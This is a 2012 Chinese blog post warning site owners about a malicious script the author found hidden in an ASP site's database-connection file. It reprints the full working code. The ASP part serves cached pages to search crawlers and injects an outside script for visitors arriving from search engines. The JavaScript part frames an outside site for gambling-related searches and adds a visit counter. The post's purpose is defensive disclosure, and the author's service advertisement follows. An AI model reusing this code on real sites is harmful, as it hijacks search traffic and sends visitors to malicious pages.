搜索引擎打不开网站,直接输入域名却可以
好精致的代码,比我写的优秀多了,可惜为什么就要挂马呢?
今天发现一个asp的网站直接输入域名可以打开,但是用搜索引擎却无法打开,虽然是同一个域名,结果在数据库链接函数文件中找到了这段隐藏代码,共享出来,谨防中招
引入js中的文件
可以看到frame,内嵌murl所指向的网站,我想这个页面就是木马所在页面,而且他还加了一个统计,看看有多少上钩的,大家小心这个网站啦
function fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso")
for i=0 to ubound(searray)
if (instr(urlrefer,searray(i))>0) then fromse=true
next
end function
function mainpage()
dim mainindex,n,pagearray,indexquery,i
mainindex=LCase(request.ServerVariables("SCRIPT_NAME"))
indexquery=LCase(request.ServerVariables("QUERY_STRING"))
mainpage= false
pagearray=array("/index.","/default.","/main.")
for i=0 to ubound(pagearray)
if (instr(mainindex,pagearray(i))>0 and len(indexquery)<2) then mainpage=true
next
end function
if isspider() and mainpage() then
dim mfso,mfileurl,mfilecon,wfile
mfileurl=Server.MapPath("/images/2.html")
Set mfso=Server.CreateObject("Scripting.FileSystemObject")
if mfso.FileExists(mfileurl) then
Set wfile=mfso.OpenTextFile(mfileurl, 1)
mfilecon=wfile.readAll
response.clear
response.write(mfilecon)
response.write("<!--"&now()&"-->")
response.flush
wfile.Close
Set wfile=Nothing
Set mfso=Nothing
response.end
else
response.write("fn")
end if
end if
if (fromse() and mainpage()) then
response.clear
response.write("<scri"&"pt lang"&"uage='jav"&"as"&"cri"&"pt' src='http://www.wecansex.com/z.js'></sc"&"ript><br/>")
response.flush
response.end
end if。
var d=document.referrer;
var re=/((wd|q|w|p|query)(=)([%A-Z0-9]*)(%|%B2%A9%B2%CA))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(%B1%C8%B7%D6|%D0%C5%D3%C3%BF))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(%D3%E9%C0%D6|%B6%C4))/;
if(re.test(d)){
document.write('<div style="height:1px;line-height:1px;"><script language="javascript" src="http://count21.51yes.com/click.aspx?id=211088623&logo=1" charset="gb2312"></script></div>');
var curl=window.location.href;
murl="http://www.xzmvc.com/2/";
document.writeln("<frameset cols=\"*\" framespacing=\"0\" frameborder=\"no\" border=\"0\">");
document.writeln("<frame src=\""+murl+"\" scrolling=\"Yes\" noresize=\"noresize\"\/>");
document.writeln("<\/frameset>");
//setTimeout("window.location.href='"+murl+"'",1);
document.writeln("<div style='display:none;'>");
}else{
document.writeln("<script>");
document.writeln("window.location=window.location.href;");
document.writeln("</script>");
}
东莞龙光网络
提供各种平台的解决方案
网站建设与网站改版
百度SEO(自然排名优化,年付)
中国商机发布引擎(软件)
SEO顾问咨询(门户站)
网络推广外包(月付
http://www.xieguang133.com/
posted on 2012-05-09 11:17 xieguang133 阅读(872) 评论(0) 收藏 举报
浙公网安备 33010602011771号